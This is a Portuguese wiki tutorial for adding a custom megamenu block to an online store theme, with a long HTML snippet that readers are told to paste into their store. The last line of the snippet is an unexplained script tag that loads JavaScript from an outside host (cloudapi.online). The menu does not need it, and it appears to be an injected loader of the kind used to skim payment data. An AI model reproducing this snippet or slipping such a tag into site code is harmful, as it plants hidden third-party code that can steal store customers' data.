Megamenu personalizado

De Tek-System Wiki
Ir para navegação Ir para pesquisar

Primeiro é preciso criar um bloco. Crie o bloco limitando para a visão da sua loja e adicione o seguinte trecho de código de exemplo:


<div class="widget block block-static-block">
<div>
<div class="em-menu" data-action="navigation">
<ul class="em-menu-content">
<li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all" href="https://teksystemcommerce.com.br"><span>INÍCIO</span></a></li>
<li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all"><span>MOVEIS</span></a>
<ul class="dropmenu-template level0 submenu">
<li class="dropmenu-content dropdown-5">
<div class="row-fluid">
<div class="span12">
<div class="row-fluid">
<div class="span3">
<div class="nav-title-link"><span>QUARTO</span></div>
<ul class="ls-link detail-ul">
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=cama">CAMA</a></li>
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=roupeiro">ROUPEIRO</a></li>
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=armario">ARMÁRIO</a></li>
</ul>
</div>
<div class="span3">
<div class="nav-title-link"><span>SALA</span></div>
<ul class="ls-link detail-ul">
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=sofa">SOFÁ</a></li>
</ul>
</div>
<div class="span6">
<div class="nav-banner"><img src="https://teksystemcommerce.com.br/pub/media/wysiwyg/em0144/menu/img-menu10.jpg" alt="em-sample-alt" width="500" height="250" /></div>
</div>
</div>
</div>
</div>
</li>
</ul>
</li>
<li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all"><span>ELETRONICOS</span></a>
<ul class="dropmenu-template level0 submenu">
<li class="dropmenu-content dropdown-5">
<div class="row-fluid">
<div class="span12">
<div class="row-fluid">
<div class="span3">
<div class="nav-title-link"><span>CELULAR</span></div>
<ul class="ls-link detail-ul">
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=iphone">IPHONE</a></li>
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=samsung">SAMSUNG</a></li>
</ul>
</div>
<div class="span3">
<div class="nav-title-link"><span>REFRIGERADORES</span></div>
<ul class="ls-link detail-ul">
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=consul">CONSUL</a></li>
<li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=brastemp">BRASTEMP</a></li>
</ul>
</div>
<div class="span6">
<div class="nav-banner"><img src="https://teksystemcommerce.com.br/pub/media/wysiwyg/em0144/menu/img-menu10.jpg" alt="em-sample-alt" width="500" height="250" /></div>
</div>
</div>
</div>
</div>
</li>
</ul>
</li>
<li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all" href="https://teksystemcommerce.com.br/blog"><span>BLOG</span></a></li>
</ul>
</div>
</div>
</div>
<script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript" xml="space"></script>

 

Não esqueça de alterar os links referentes à sua loja.

Depois crie um widget selecionando o tema, a visão da sua loja e escolhendo como 'Layout Updates' o 'All Pages' e container 'Top Navigation'. Na aba 'widget options' selecione o bloco que você acabou de criar e clique em salvar. Se Megamenu atual padrão estiver desabilitado sua loja já estará com o menu novo somente, senão basta desabilitá-lo buscando pelo bloco: em0144-main-megamenu

Para este exemplo no tema Furniture seu menu ficará assim:

Megamenu